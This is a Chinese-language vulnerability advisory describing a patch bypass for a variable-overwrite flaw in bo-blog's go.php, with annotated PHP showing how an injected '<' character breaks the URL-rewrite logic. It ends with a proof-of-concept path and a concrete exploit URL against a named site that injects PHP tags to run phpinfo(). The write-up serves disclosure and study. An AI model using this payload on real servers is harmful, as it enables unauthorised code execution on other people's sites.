boblog任意變數覆蓋漏洞(二)

cnbird發表於2012-05-30

boblog任意變數覆蓋漏洞(二)

by Ryat[puretot]
mail: puretot at gmail dot com
team: http://www.80vul.com
date: 2011-03-09

先前80vul.com上公佈了一個bo-blog的漏洞[1],這個漏洞已經被官方修補,但隨後wooyun.com上公佈了一個繞過補丁的方法[2],可惜觸發時有一定的限制,下面我再來公佈一個沒有任何限制的繞過補丁繼續觸發漏洞的方法:)

這個簡單來說是正規表示式和程式碼邏輯不夠嚴謹造成的,來看程式碼:

// go.php

$q_url=$_SERVER[“REQUEST_URI”];
@list($relativePath, $rawURL)=@explode(`/go.php/`, $q_url);
$rewritedURL=$rawURL;

$RewriteRules[]=”/page/([0-9]+)/([0-9]+)/?/”;
// 這個正則看上去很嚴謹,但是沒有使用^和$來限制開頭與結尾[可能是為了適應程式自身的需要]:)

$RedirectTo[]=”index.php?mode=\1&page=\2″;

foreach ($RewriteRules as $rule) {
 if (preg_match($rule, $rewritedURL)) {
  $tmp_rewritedURL=preg_replace($rule, `<`.$RedirectTo[$i].`<`, $rewritedURL, 1);
// 對$rewritedURL進行匹配和替換,並使用<來標記匹配的部分
// 經過這樣的處理後$tmp_rewritedURL主要分為三部分:
// i.第一個<前面的部分
// ii.兩個<之間的部分
// iii.第二個<後面的部分
  $tmp_rewritedURL=@explode(`<`, $tmp_rewritedURL);
  $rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];
// 這段程式碼的主要目的是解決之前的正則限制不夠嚴格的問題
// 程式設計師希望通過這段程式碼去掉i和iii,使$rewritedURL僅保留ii
// 注意這裡還對iii做了限制,按照程式設計師的想法,iii這部分應該是不存在的:)
// 這部分程式碼邏輯的關鍵就在於<這個字元,但遺憾的是我們是可以隨意注入<的:p
  break;
 }
 $i+=1;
}

從上面的分析可以看出這段程式碼對$rewritedURL處理邏輯貌似很嚴謹,但事實我們只要通過簡單的注入<這個字元,就可以打亂整個邏輯了:)

PoC:
/go.php/<[evil code]<page/1/1/

參考:
[1]http://www.80vul.com/boblog/boblog.txt
[2]http://www.wooyun.org/bugs/wooyun-2010-01491

 

http://www.s135.com/go.php?wst=/go.php/<page.php?elements[tips]=%3c!–%20php%20–>%3c!–%20phpinfo();%20–>%3c!–%20/php%20–><page/1/1


相關文章